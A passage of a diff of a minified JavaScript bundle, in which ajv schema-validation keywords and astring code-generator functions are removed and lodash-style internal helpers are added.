po(t10, "DataView"), xi = po(t10, "Map"), _i = po(t10, "Promise"), wi = po(t10, "Set"), Si = po(t10, "WeakMap"), Pi = po(we5, "create"), Oi = Si && new Si(), Ti = {}, Ai = Co($i), Ii = Co(xi), Ei = Co(_i), qi = Co(wi), ki = Co(Si), Mi = Ue2 ? Ue2.prototype : r8, Ri = Mi ? Mi.valueOf : r8, Di = Mi ? Mi.toString : r8; + function Ci(e13) { + if (ea(e13) && !zs(e13) && !(e13 instanceof Ui)) { + if (e13 instanceof Fi) + return e13; + if (ke4.call(e13, "__wrapped__")) + return Vo(e13); + } + return new Fi(e13); } - } - d7 instanceof n8.Name ? t10.if(n8._`${d7} !== true`, () => t10.forIn("key", s8, (e13) => t10.if(function(e14, t11) { - return n8._`!${e14} || !${e14}[${t11}]`; - }(d7, e13), () => f8(e13)))) : true !== d7 && t10.forIn("key", s8, (e13) => void 0 === d7 ? f8(e13) : t10.if(function(e14, t11) { - const i10 = []; - for (const r9 in e14) - true === e14[r9] && i10.push(n8._`${t11} !== ${r9}`); - return (0, n8.and)(...i10); - }(d7, e13), () => f8(e13))), p7.props = true, e12.ok(n8._`${a7} === ${o7.default.errors}`); - } }; - t9.default = s7; - }, 79520: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = i8(50458), o7 = i8(72725), s7 = { keyword: "const", $data: true, error: { message: "must be equal to constant", params: ({ schemaCode: e12 }) => n8._`{allowedValue: ${e12}}` }, code(e12) { - const { gen: t10, data: i9, $data: s8, schemaCode: a7, schema: p7 } = e12; - s8 || p7 && "object" == typeof p7 ? e12.fail$data(n8._`!${(0, r8.useFunc)(t10, o7.default)}(${i9}, ${a7})`) : e12.fail(n8._`${p7} !== ${i9}`); - } }; - t9.default = s7; - }, 51097: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(99868), r8 = { keyword: "dependentRequired", type: "object", schemaType: "object", error: n8.error, code: (e12) => (0, n8.validatePropertyDeps)(e12) }; - t9.default = r8; - }, 36742: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = i8(50458), o7 = i8(72725), s7 = { keyword: "enum", schemaType: "array", $data: true, error: { message: "must be equal to one of the allowed values", params: ({ schemaCode: e12 }) => n8._`{allowedValues: ${e12}}` }, code(e12) { - const { gen: t10, data: i9, $data: s8, schema: a7, schemaCode: p7, it: c7 } = e12; - if (!s8 && 0 === a7.length) - throw new Error("enum must have non-empty array"); - const d7 = a7.length >= c7.opts.loopEnum; - let f8; - const l7 = () => null != f8 ? f8 : f8 = (0, r8.useFunc)(t10, o7.default); - let u7; - if (d7 || s8) - u7 = t10.let("valid"), e12.block$data(u7, function() { - t10.assign(u7, false), t10.forOf("v", p7, (e13) => t10.if(n8._`${l7()}(${i9}, ${e13})`, () => t10.assign(u7, true).break())); - }); - else { - if (!Array.isArray(a7)) - throw new Error("ajv implementation error"); - const e13 = t10.const("vSchema", p7); - u7 = (0, n8.or)(...a7.map((t11, r9) => function(e14, t12) { - const r10 = a7[t12]; - return "object" == typeof r10 && null !== r10 ? n8._`${l7()}(${i9}, ${e14}[${t12}])` : n8._`${i9} === ${r10}`; - }(e13, r9))); - } - e12.pass(u7); - } }; - t9.default = s7; - }, 17851: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(72333), r8 = i8(21230), o7 = i8(3936), s7 = i8(81005), a7 = i8(71589), p7 = i8(29594), c7 = i8(38558), d7 = i8(44058), f8 = i8(79520), l7 = i8(36742), u7 = [n8.default, r8.default, o7.default, s7.default, a7.default, p7.default, c7.default, d7.default, { keyword: "type", schemaType: ["string", "array"] }, { keyword: "nullable", schemaType: "boolean" }, f8.default, l7.default]; - t9.default = u7; - }, 87237: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(50458), r8 = { keyword: ["maxContains", "minContains"], type: "array", schemaType: "number", code({ keyword: e12, parentSchema: t10, it: i9 }) { - void 0 === t10.contains && (0, n8.checkStrictMode)(i9, `"${e12}" without "contains" is ignored`); - } }; - t9.default = r8; - }, 38558: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = { keyword: ["maxItems", "minItems"], type: "array", schemaType: "number", $data: true, error: { message({ keyword: e12, schemaCode: t10 }) { - const i9 = "maxItems" === e12 ? "more" : "fewer"; - return n8.str`must NOT have ${i9} than ${t10} items`; - }, params: ({ schemaCode: e12 }) => n8._`{limit: ${e12}}` }, code(e12) { - const { keyword: t10, data: i9, schemaCode: r9 } = e12, o7 = "maxItems" === t10 ? n8.operators.GT : n8.operators.LT; - e12.fail$data(n8._`${i9}.length ${o7} ${r9}`); - } }; - t9.default = r8; - }, 3936: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = i8(50458), o7 = i8(26308), s7 = { keyword: ["maxLength", "minLength"], type: "string", schemaType: "number", $data: true, error: { message({ keyword: e12, schemaCode: t10 }) { - const i9 = "maxLength" === e12 ? "more" : "fewer"; - return n8.str`must NOT have ${i9} than ${t10} characters`; - }, params: ({ schemaCode: e12 }) => n8._`{limit: ${e12}}` }, code(e12) { - const { keyword: t10, data: i9, schemaCode: s8, it: a7 } = e12, p7 = "maxLength" === t10 ? n8.operators.GT : n8.operators.LT, c7 = false === a7.opts.unicode ? n8._`${i9}.length` : n8._`${(0, r8.useFunc)(e12.gen, o7.default)}(${i9})`; - e12.fail$data(n8._`${c7} ${p7} ${s8}`); - } }; - t9.default = s7; - }, 72333: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = n8.operators, o7 = { maximum: { okStr: "<=", ok: r8.LTE, fail: r8.GT }, minimum: { okStr: ">=", ok: r8.GTE, fail: r8.LT }, exclusiveMaximum: { okStr: "<", ok: r8.LT, fail: r8.GTE }, exclusiveMinimum: { okStr: ">", ok: r8.GT, fail: r8.LTE } }, s7 = { message: ({ keyword: e12, schemaCode: t10 }) => n8.str`must be ${o7[e12].okStr} ${t10}`, params: ({ keyword: e12, schemaCode: t10 }) => n8._`{comparison: ${o7[e12].okStr}, limit: ${t10}}` }, a7 = { keyword: Object.keys(o7), type: "number", schemaType: "number", $data: true, error: s7, code(e12) { - const { keyword: t10, data: i9, schemaCode: r9 } = e12; - e12.fail$data(n8._`${i9} ${o7[t10].fail} ${r9} || isNaN(${i9})`); - } }; - t9.default = a7; - }, 71589: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = { keyword: ["maxProperties", "minProperties"], type: "object", schemaType: "number", $data: true, error: { message({ keyword: e12, schemaCode: t10 }) { - const i9 = "maxProperties" === e12 ? "more" : "fewer"; - return n8.str`must NOT have ${i9} than ${t10} properties`; - }, params: ({ schemaCode: e12 }) => n8._`{limit: ${e12}}` }, code(e12) { - const { keyword: t10, data: i9, schemaCode: r9 } = e12, o7 = "maxProperties" === t10 ? n8.operators.GT : n8.operators.LT; - e12.fail$data(n8._`Object.keys(${i9}).length ${o7} ${r9}`); - } }; - t9.default = r8; - }, 21230: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = { keyword: "multipleOf", type: "number", schemaType: "number", $data: true, error: { message: ({ schemaCode: e12 }) => n8.str`must be multiple of ${e12}`, params: ({ schemaCode: e12 }) => n8._`{multipleOf: ${e12}}` }, code(e12) { - const { gen: t10, data: i9, schemaCode: r9, it: o7 } = e12, s7 = o7.opts.multipleOfPrecision, a7 = t10.let("res"), p7 = s7 ? n8._`Math.abs(Math.round(${a7}) - ${a7}) > 1e-${s7}` : n8._`${a7} !== parseInt(${a7})`; - e12.fail$data(n8._`(${r9} === 0 || (${a7} = ${i9}/${r9}, ${p7}))`); - } }; - t9.default = r8; - }, 81005: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(94450), r8 = i8(17898), o7 = { keyword: "pattern", type: "string", schemaType: "string", $data: true, error: { message: ({ schemaCode: e12 }) => r8.str`must match pattern "${e12}"`, params: ({ schemaCode: e12 }) => r8._`{pattern: ${e12}}` }, code(e12) { - const { data: t10, $data: i9, schema: o8, schemaCode: s7, it: a7 } = e12, p7 = a7.opts.unicodeRegExp ? "u" : "", c7 = i9 ? r8._`(new RegExp(${s7}, ${p7}))` : (0, n8.usePattern)(e12, o8); - e12.fail$data(r8._`!${c7}.test(${t10})`); - } }; - t9.default = o7; - }, 29594: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(94450), r8 = i8(17898), o7 = i8(50458), s7 = { keyword: "required", type: "object", schemaType: "array", $data: true, error: { message: ({ params: { missingProperty: e12 } }) => r8.str`must have required property '${e12}'`, params: ({ params: { missingProperty: e12 } }) => r8._`{missingProperty: ${e12}}` }, code(e12) { - const { gen: t10, schema: i9, schemaCode: s8, data: a7, $data: p7, it: c7 } = e12, { opts: d7 } = c7; - if (!p7 && 0 === i9.length) - return; - const f8 = i9.length >= d7.loopRequired; - if (c7.allErrors ? function() { - if (f8 || p7) - e12.block$data(r8.nil, l7); - else - for (const t11 of i9) - (0, n8.checkReportMissingProp)(e12, t11); - }() : function() { - const o8 = t10.let("missing"); - if (f8 || p7) { - const i10 = t10.let("valid", true); - e12.block$data(i10, () => function(i11, o9) { - e12.setParams({ missingProperty: i11 }), t10.forOf(i11, s8, () => { - t10.assign(o9, (0, n8.propertyInData)(t10, a7, i11, d7.ownProperties)), t10.if((0, r8.not)(o9), () => { - e12.error(), t10.break(); - }); - }, r8.nil); - }(o8, i10)), e12.ok(i10); - } else - t10.if((0, n8.checkMissingProp)(e12, i9, o8)), (0, n8.reportMissingProp)(e12, o8), t10.else(); - }(), d7.strictRequired) { - const t11 = e12.parentSchema.properties, { definedProperties: n9 } = e12.it; - for (const e13 of i9) - if (void 0 === (null == t11 ? void 0 : t11[e13]) && !n9.has(e13)) { - const t12 = `required property "${e13}" is not defined at "${c7.schemaEnv.baseId + c7.errSchemaPath}" (strictRequired)`; - (0, o7.checkStrictMode)(c7, t12, c7.opts.strictRequired); + var Vi = /* @__PURE__ */ function() { + function e13() { } - } - function l7() { - t10.forOf("prop", s8, (i10) => { - e12.setParams({ missingProperty: i10 }), t10.if((0, n8.noPropertyInData)(t10, a7, i10, d7.ownProperties), () => e12.error()); - }); - } - } }; - t9.default = s7; - }, 44058: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(69003), r8 = i8(17898), o7 = i8(50458), s7 = i8(72725), a7 = { keyword: "uniqueItems", type: "array", schemaType: "boolean", $data: true, error: { message: ({ params: { i: e12, j: t10 } }) => r8.str`must NOT have duplicate items (items ## ${t10} and ${e12} are identical)`, params: ({ params: { i: e12, j: t10 } }) => r8._`{i: ${e12}, j: ${t10}}` }, code(e12) { - const { gen: t10, data: i9, $data: a8, schema: p7, parentSchema: c7, schemaCode: d7, it: f8 } = e12; - if (!a8 && !p7) - return; - const l7 = t10.let("valid"), u7 = c7.items ? (0, n8.getSchemaTypes)(c7.items) : []; - function m7(o8, s8) { - const a9 = t10.name("item"), p8 = (0, n8.checkDataTypes)(u7, a9, f8.opts.strictNumbers, n8.DataType.Wrong), c8 = t10.const("indices", r8._`{}`); - t10.for(r8._`;${o8}--;`, () => { - t10.let(a9, r8._`${i9}[${o8}]`), t10.if(p8, r8._`continue`), u7.length > 1 && t10.if(r8._`typeof ${a9} == "string"`, r8._`${a9} += "_"`), t10.if(r8._`typeof ${c8}[${a9}] == "number"`, () => { - t10.assign(s8, r8._`${c8}[${a9}]`), e12.error(), t10.assign(l7, false).break(); - }).code(r8._`${c8}[${a9}] = ${o8}`); - }); - } - function h8(n9, a9) { - const p8 = (0, o7.useFunc)(t10, s7.default), c8 = t10.name("outer"); - t10.label(c8).for(r8._`;${n9}--;`, () => t10.for(r8._`${a9} = ${n9}; ${a9}--;`, () => t10.if(r8._`${p8}(${i9}[${n9}], ${i9}[${a9}])`, () => { - e12.error(), t10.assign(l7, false).break(c8); - }))); - } - e12.block$data(l7, function() { - const n9 = t10.let("i", r8._`${i9}.length`), o8 = t10.let("j"); - e12.setParams({ i: n9, j: o8 }), t10.assign(l7, true), t10.if(r8._`${n9} > 1`, () => (u7.length > 0 && !u7.some((e13) => "object" === e13 || "array" === e13) ? m7 : h8)(n9, o8)); - }, r8._`${d7} === false`), e12.ok(l7); - } }; - t9.default = a7; - }, 14891: (e11, t9) => { - "use strict"; - function i8(e12, t10) { - for (var i9 = 0; i9 < t10.length; i9++) { - var n9 = t10[i9]; - n9.enumerable = n9.enumerable || false, n9.configurable = true, "value" in n9 && (n9.writable = true), Object.defineProperty(e12, n9.key, n9); - } - } - Object.defineProperty(t9, "__esModule", { value: true }), t9.generate = function(e12, t10) { - var i9 = new x7(t10); - return i9.generator[e12.type](e12, i9), i9.output; - }, t9.baseGenerator = t9.GENERATOR = t9.EXPRESSIONS_PRECEDENCE = t9.NEEDS_PARENTHESES = void 0; - var n8 = JSON.stringify; - if (!String.prototype.repeat) - throw new Error("String.prototype.repeat is undefined, see https://github.com/davidbonnet/astring#installation"); - if (!String.prototype.endsWith) - throw new Error("String.prototype.endsWith is undefined, see https://github.com/davidbonnet/astring#installation"); - var r8 = { "||": 2, "??": 3, "&&": 4, "|": 5, "^": 6, "&": 7, "==": 8, "!=": 8, "===": 8, "!==": 8, "<": 9, ">": 9, "<=": 9, ">=": 9, in: 9, instanceof: 9, "<<": 10, ">>": 10, ">>>": 10, "+": 11, "-": 11, "*": 12, "%": 12, "/": 12, "**": 13 }, o7 = 17; - t9.NEEDS_PARENTHESES = o7; - var s7, a7, p7, c7, d7, f8, l7 = { ArrayExpression: 20, TaggedTemplateExpression: 20, ThisExpression: 20, Identifier: 20, PrivateIdentifier: 20, Literal: 18, TemplateLiteral: 20, Super: 20, SequenceExpression: 20, MemberExpression: 19, ChainExpression: 19, CallExpression: 19, NewExpression: 19, ArrowFunctionExpression: o7, ClassExpression: o7, FunctionExpression: o7, ObjectExpression: o7, UpdateExpression: 16, UnaryExpression: 15, AwaitExpression: 15, BinaryExpression: 14, LogicalExpression: 13, ConditionalExpression: 4, AssignmentExpression: 3, YieldExpression: 2, RestElement: 1 }; - function u7(e12, t10) { - var i9 = e12.generator; - if (e12.write("("), null != t10 && t10.length > 0) { - i9[t10[0].type](t10[0], e12); - for (var n9 = t10.length, r9 = 1; r9 < n9; r9++) { - var o8 = t10[r9]; - e12.write(", "), i9[o8.type](o8, e12); + return function(t11) { + if (!Xs(t11)) + return {}; + if (Qe2) + return Qe2(t11); + e13.prototype = t11; + var i10 = new e13(); + return e13.prototype = r8, i10; + }; + }(); + function Ni() { } - } - e12.write(")"); - } - function m7(e12, t10, i9, n9) { - var s8 = e12.expressionsPrecedence[t10.type]; - if (s8 === o7) - return true; - var a8 = e12.expressionsPrecedence[i9.type]; - return s8 !== a8 ? !n9 && 15 === s8 && 14 === a8 && "**" === i9.operator || s8 < a8 : (13 === s8 || 14 === s8) && ("**" === t10.operator && "**" === i9.operator ? !n9 : 13 === s8 && 13 === a8 && ("??" === t10.operator || "??" === i9.operator) || (n9 ? r8[t10.operator] <= r8[i9.operator] : r8[t10.operator] < r8[i9.operator])); - } - function h8(e12, t10, i9, n9) { - var r9 = e12.generator; - m7(e12, t10, i9, n9) ? (e12.write("("), r9[t10.type](t10, e12), e12.write(")")) : r9[t10.type](t10, e12); - } - function y7(e12, t10, i9, n9) { - var r9 = t10.split("\n"), o8 = r9.length - 1; - if (e12.write(r9[0].trim()), o8 > 0) { - e12.write(n9); - for (var s8 = 1; s8 < o8; s8++) - e12.write(i9 + r9[s8].trim() + n9); - e12.write(i9 + r9[o8].trim()); - } - } - function g7(e12, t10, i9, n9) { - for (var r9 = t10.length, o8 = 0; o8 < r9; o8++) { - var s8 = t10[o8]; - e12.write(i9), "L" === s8.type[0] ? e12.write("// " + s8.value.trim() + "\n", s8) : (e12.write("/*"), y7(e12, s8.value, i9, n9), e12.write("*/" + n9)); - } - } - function b8(e12, t10) { - var i9 = e12.generator, n9 = t10.declarations; - e12.write(t10.kind + " "); - var r9 = n9.length; - if (r9 > 0) { - i9.VariableDeclarator(n9[0], e12); - for (var o8 = 1; o8 < r9; o8++) - e12.write(", "), i9.VariableDeclarator(n9[o8], e12); - } - } - t9.EXPRESSIONS_PRECEDENCE = l7; - var v8 = { Program: function(e12, t10) { - var i9 = t10.indent.repeat(t10.indentLevel), n9 = t10.lineEnd, r9 = t10.writeComments; - r9 && null != e12.comments && g7(t10, e12.comments, i9, n9); - for (var o8 = e12.body, s8 = o8.length, a8 = 0; a8 < s8; a8++) { - var p8 = o8[a8]; - r9 && null != p8.comments && g7(t10, p8.comments, i9, n9), t10.write(i9), this[p8.type](p8, t10), t10.write(n9); - } - r9 && null != e12.trailingComments && g7(t10, e12.trailingComments, i9, n9); - }, BlockStatement: f8 = function(e12, t10) { - var i9 = t10.indent.repeat(t10.indentLevel++), n9 = t10.lineEnd, r9 = t10.writeComments, o8 = i9 + t10.indent; - t10.write("{"); - var s8 = e12.body; - if (null != s8 && s8.length > 0) { - t10.write(n9), r9 && null != e12.comments && g7(t10, e12.comments, o8, n9); - for (var a8 = s8.length, p8 = 0; p8 < a8; p8++) { - var c8 = s8[p8]; - r9 && null != c8.comments && g7(t10, c8.comments, o8, n9), t10.write(o8), this[c8.type](c8, t10), t10.write(n9); + function Fi(e13, t11) { + this.__wrapped__ = e13, this.__actions__ = [], this.__chain__ = !!t11, this.__index__ = 0, this.__values__ = r8; } - t10.write(i9); - } else - r9 && null != e12.comments && (t10.write(n9), g7(t10, e12.comments, o8, n9), t10.write(i9)); - r9 && null != e12.trailingComments && g7(t10, e12.trailingComments, o8, n9), t10.write("}"), t10.indentLevel--; - }, ClassBody: f8, StaticBlock: function(e12, t10) { - t10.write("static "), this.BlockStatement(e12, t10); - }, EmptyStatement: function(e12, t10) { - t10.write(";"); - }, ExpressionStatement: function(e12, t10) { - var i9 = t10.expressionsPrecedence[e12.expression.type]; - i9 === o7 || 3 === i9 && "O" === e12.expression.left.type[0] ? (t10.write("("), this[e12.expression.type](e12.expression, t10), t10.write(")")) : this[e12.expression.type](e12.expression, t10), t10.write(";"); - }, IfStatement: function(e12, t10) { - t10.write("if ("), this[e12.test.type](e12.test, t10), t10.write(") "), this[e12.consequent.type](e12.consequent, t10), null != e12.alternate && (t10.write(" else "), this[e12.alternate.type](e12.alternate, t10)); - }, LabeledStatement: function(e12, t10) { - this[e12.label.type](e12.label, t10), t10.write(": "), this[e12.body.type](e12.body, t10); - }, BreakStatement: function(e12, t10) { - t10.write("break"), null != e12.label && (t10.write(" "), this[e12.label.type](e12.label, t10)), t10.write(";"); - }, ContinueStatement: function(e12, t10) { - t10.write("continue"), null != e12.label && (t10.write(" "), this[e12.label.type](e12.label, t10)), t10.write(";"); - }, WithStatement: function(e12, t10) { - t10.write("with ("), this[e12.object.type](e12.object, t10), t10.write(") "), this[e12.body.type](e12.body, t10); - }, SwitchStatement: function(e12, t10) { - var i9 = t10.indent.repeat(t10.indentLevel++), n9 = t10.lineEnd, r9 = t10.writeComments; - t10.indentLevel++; - var o8 = i9 + t10.indent, s8 = o8 + t10.indent; - t10.write("switch ("), this[e12.discriminant.type](e12.discriminant, t10), t10.write(") {" + n9); - for (var a8 = e12.cases, p8 = a8.length, c8 = 0; c8 < p8; c8++) { - var d8 = a8[c8]; - r9 && null != d8.comments && g7(t10, d8.comments, o8, n9), d8.test ? (t10.write(o8 + "case "), this[d8.test.type](d8.test, t10), t10.write(":" + n9)) : t10.write(o8 + "default:" + n9); - for (var f9 = d8.consequent, l8 = f9.length, u8 = 0; u8 < l8; u8++) { - var m8 = f9[u8]; - r9 && null != m8.comments && g7(t10, m8.comments, s8, n9), t10.write(s8), this[m8.type](m8, t10), t10.write(n9); + function Ui(e13) { + this.__wrapped__ = e13, this.__actions__ = [], this.__dir__ = 1, this.__filtered__ = false, this.__iteratees__ = [], this.__takeCount__ = u7, this.__views__ = []; } - } - t10.indentLevel -= 2, t10.write(i9 + "}"); - }, ReturnStatement: function(e12, t10) { - t10.write("return"), e12.argument && (t10.write(" "), this[e12.argument.type](e12.argument, t10)), t10.write(";"); - }, ThrowStatement: function(e12, t10) { - t10.write("throw "), this[e12.argument.type](e12.argument, t10), t10.write(";"); - }, TryStatement: function(e12, t10) { - if (t10.write("try "), this[e12.block.type](e12.block, t10), e12.handler) { - var i9 = e12.handler; - null == i9.param ? t10.write(" catch ") : (t10.write(" catch ("), this[i9.param.type](i9.param, t10), t10.write(") ")), this[i9.body.type](i9.body, t10); - } - e12.finalizer && (t10.write(" finally "), this[e12.finalizer.type](e12.finalizer, t10)); - }, WhileStatement: function(e12, t10) { - t10.write("while ("), this[e12.test.type](e12.test, t10), t10.write(") "), this[e12.body.type](e12.body, t10); - }, DoWhileStatement: function(e12, t10) { - t10.write("do "), this[e12.body.type](e12.body, t10), t10.write(" while ("), this[e12.test.type](e12.test, t10), t10.write(");"); - }, ForStatement: function(e12, t10) { - if (t10.write("for ("), null != e12.init) { - var i9 = e12.init; - "V" === i9.type[0] ? b8(t10, i9) : this[i9.type](i9, t10); - } - t10.write("; "), e12.test && this[e12.test.type](e12.test, t10), t10.write("; "), e12.update && this[e12.update.type](e12.update, t10), t10.write(") "), this[e12.body.type](e12.body, t10); - }, ForInStatement: s7 = function(e12, t10) { - t10.write("for ".concat(e12.await ? "await " : "", "(")); - var i9 = e12.left; - "V" === i9.type[0] ? b8(t10, i9) : this[i9.type](i9, t10), t10.write("I" === e12.type[3] ? " in " : " of "), this[e12.right.type](e12.right, t10), t10.write(") "), this[e12.body.type](e12.body, t10); - }, ForOfStatement: s7, DebuggerStatement: function(e12, t10) { - t10.write("debugger;", e12); - }, FunctionDeclaration: a7 = function(e12, t10) { - t10.write((e12.async ? "async " : "") + (e12.generator ? "function* " : "function ") + (e12.id ? e12.id.name : ""), e12), u7(t10, e12.params), t10.write(" "), this[e12.body.type](e12.body, t10); - }, FunctionExpression: a7, VariableDeclaration: function(e12, t10) { - b8(t10, e12), t10.write(";"); - }, VariableDeclarator: function(e12, t10) { - this[e12.id.type](e12.id, t10), null != e12.init && (t10.write(" = "), this[e12.init.type](e12.init, t10)); - }, ClassDeclaration: function(e12, t10) { - if (t10.write("class " + (e12.id ? "".concat(e12.id.name, " ") : ""), e12), e12.superClass) { - t10.write("extends "); - var i9 = e12.superClass, n9 = i9.type, r9 = t10.expressionsPrecedence[n9]; - "C" === n9[0] && "l" === n9[1] && "E" === n9[5] || !(r9 === o7 || r9 < t10.expressionsPrecedence.ClassExpression) ? this[i9.type](i9, t10) : (t10.write("("), this[e12.superClass.type](i9, t10), t10.write(")")), t10.write(" "); - } - this.ClassBody(e12.body, t10); - }, ImportDeclaration: function(e12, t10) { - t10.write("import "); - var i9 = e12.specifiers, n9 = i9.length, r9 = 0; - if (n9 > 0) { - for (; r9 < n9; ) { - r9 > 0 && t10.write(", "); - var o8 = i9[r9], s8 = o8.type[6]; - if ("D" === s8) - t10.write(o8.local.name, o8), r9++; - else { - if ("N" !== s8) - break; - t10.write("* as " + o8.local.name, o8), r9++; + function Li(e13) { + var t11 = -1, i10 = null == e13 ? 0 : e13.length; + for (this.clear(); ++t11 < i10; ) { + var n10 = e13[t11]; + this.set(n10[0], n10[1]); } } - if (r9 < n9) { - for (t10.write("{"); ; ) { - var a8 = i9[r9], p8 = a8.imported.name; - if (t10.write(p8, a8), p8 !== a8.local.name && t10.write(" as " + a8.local.name), !(++r9 < n9)) - break; - t10.write(", "); + function zi(e13) { + var t11 = -1, i10 = null == e13 ? 0 : e13.length; + for (this.clear(); ++t11 < i10; ) { + var n10 = e13[t11]; + this.set(n10[0], n10[1]); } - t10.write("}"); } - t10.write(" from "); - } - this.Literal(e12.source, t10), t10.write(";"); - }, ImportExpression: function(e12, t10) { - t10.write("import("), this[e12.source.type](e12.source, t10), t10.write(")"); - }, ExportDefaultDeclaration: function(e12, t10) { - t10.write("export default "), this[e12.declaration.type](e12.declaration, t10), null != t10.expressionsPrecedence[e12.declaration.type] && "F" !== e12.declaration.type[0] && t10.write(";"); - }, ExportNamedDeclaration: function(e12, t10) { - if (t10.write("export "), e12.declaration) - this[e12.declaration.type](e12.declaration, t10); - else { - t10.write("{"); - var i9 = e12.specifiers, n9 = i9.length; - if (n9 > 0) - for (var r9 = 0; ; ) { - var o8 = i9[r9], s8 = o8.local.name; - if (t10.write(s8, o8), s8 !== o8.exported.name && t10.write(" as " + o8.exported.name), !(++r9 < n9)) - break; - t10.write(", "); - } - t10.write("}"), e12.source && (t10.write(" from "), this.Literal(e12.source, t10)), t10.write(";"); - } - }, ExportAllDeclaration: function(e12, t10) { - null != e12.exported ? t10.write("export * as " + e12.exported.name + " from ") : t10.write("export * from "), this.Literal(e12.source, t10), t10.write(";"); - }, MethodDefinition: function(e12, t10) { - e12.static && t10.write("static "); - var i9 = e12.kind[0]; - "g" !== i9 && "s" !== i9 || t10.write(e12.kind + " "), e12.value.async && t10.write("async "), e12.value.generator && t10.write("*"), e12.computed ? (t10.write("["), this[e12.key.type](e12.key, t10), t10.write("]")) : this[e12.key.type](e12.key, t10), u7(t10, e12.value.params), t10.write(" "), this[e12.value.body.type](e12.value.body, t10); - }, ClassExpression: function(e12, t10) { - this.ClassDeclaration(e12, t10); - }, ArrowFunctionExpression: function(e12, t10) { - t10.write(e12.async ? "async " : "", e12); - var i9 = e12.params; - null != i9 && (1 === i9.length && "I" === i9[0].type[0] ? t10.write(i9[0].name, i9[0]) : u7(t10, e12.params)), t10.write(" => "), "O" === e12.body.type[0] ? (t10.write("("), this.ObjectExpression(e12.body, t10), t10.write(")")) : this[e12.body.type](e12.body, t10); - }, ThisExpression: function(e12, t10) { - t10.write("this", e12); - }, Super: function(e12, t10) { - t10.write("super", e12); - }, RestElement: p7 = function(e12, t10) { - t10.write("..."), this[e12.argument.type](e12.argument, t10); - }, SpreadElement: p7, YieldExpression: function(e12, t10) { - t10.write(e12.delegate ? "yield*" : "yield"), e12.argument && (t10.write(" "), this[e12.argument.type](e12.argument, t10)); - }, AwaitExpression: function(e12, t10) { - t10.write("await ", e12), h8(t10, e12.argument, e12); - }, TemplateLiteral: function(e12, t10) { - var i9 = e12.quasis, n9 = e12.expressions; - t10.write("`"); - for (var r9 = n9.length, o8 = 0; o8 < r9; o8++) { - var s8 = n9[o8], a8 = i9[o8]; - t10.write(a8.value.raw, a8), t10.write("${"), this[s8.type](s8, t10), t10.write("}"); - } - var p8 = i9[i9.length - 1]; - t10.write(p8.value.raw, p8), t10.write("`"); - }, TemplateElement: function(e12, t10) { - t10.write(e12.value.raw, e12); - }, TaggedTemplateExpression: function(e12, t10) { - h8(t10, e12.tag, e12), this[e12.quasi.type](e12.quasi, t10); - }, ArrayExpression: d7 = function(e12, t10) { - if (t10.write("["), e12.elements.length > 0) - for (var i9 = e12.elements, n9 = i9.length, r9 = 0; ; ) { - var o8 = i9[r9]; - if (null != o8 && this[o8.type](o8, t10), !(++r9 < n9)) { - null == o8 && t10.write(", "); - break; + function Bi(e13) { + var t11 = -1, i10 = null == e13 ? 0 : e13.length; + for (this.clear(); ++t11 < i10; ) { + var n10 = e13[t11]; + this.set(n10[0], n10[1]); } - t10.write(", "); } - t10.write("]"); - }, ArrayPattern: d7, ObjectExpression: function(e12, t10) { - var i9 = t10.indent.repeat(t10.indentLevel++), n9 = t10.lineEnd, r9 = t10.writeComments, o8 = i9 + t10.indent; - if (t10.write("{"), e12.properties.length > 0) { - t10.write(n9), r9 && null != e12.comments && g7(t10, e12.comments, o8, n9); - for (var s8 = "," + n9, a8 = e12.properties, p8 = a8.length, c8 = 0; ; ) { - var d8 = a8[c8]; - if (r9 && null != d8.comments && g7(t10, d8.comments, o8, n9), t10.write(o8), this[d8.type](d8, t10), !(++c8 < p8)) - break; - t10.write(s8); + function Qi(e13) { + var t11 = -1, i10 = null == e13 ? 0 : e13.length; + for (this.__data__ = new Bi(); ++t11 < i10; ) + this.add(e13[t11]); } - t10.write(n9), r9 && null != e12.trailingComments && g7(t10, e12.trailingComments, o8, n9), t10.write(i9 + "}"); - } else - r9 ? null != e12.comments ? (t10.write(n9), g7(t10, e12.comments, o8, n9), null != e12.trailingComments && g7(t10, e12.trailingComments, o8, n9), t10.write(i9 + "}")) : null != e12.trailingComments ? (t10.write(n9), g7(t10, e12.trailingComments, o8, n9), t10.write(i9 + "}")) : t10.write("}") : t10.write("}"); - t10.indentLevel--; - }, Property: function(e12, t10) { - e12.method || "i" !== e12.kind[0] ? this.MethodDefinition(e12, t10) : (e12.shorthand || (e12.computed ? (t10.write("["), this[e12.key.type](e12.key, t10), t10.write("]")) : this[e12.key.type](e12.key, t10), t10.write(": ")), this[e12.value.type](e12.value, t10)); - }, PropertyDefinition: function(e12, t10) { - e12.static && t10.write("static "), e12.computed && t10.write("["), this[e12.key.type](e12.key, t10), e12.computed && t10.write("]"), null != e12.value ? (t10.write(" = "), this[e12.value.type](e12.value, t10), t10.write(";")) : "F" !== e12.key.type[0] && t10.write(";"); - }, ObjectPattern: function(e12, t10) { - if (t10.write("{"), e12.properties.length > 0) - for (var i9 = e12.properties, n9 = i9.length, r9 = 0; this[i9[r9].type](i9[r9], t10), ++r9 < n9; ) - t10.write(", "); - t10.write("}"); - }, SequenceExpression: function(e12, t10) { - 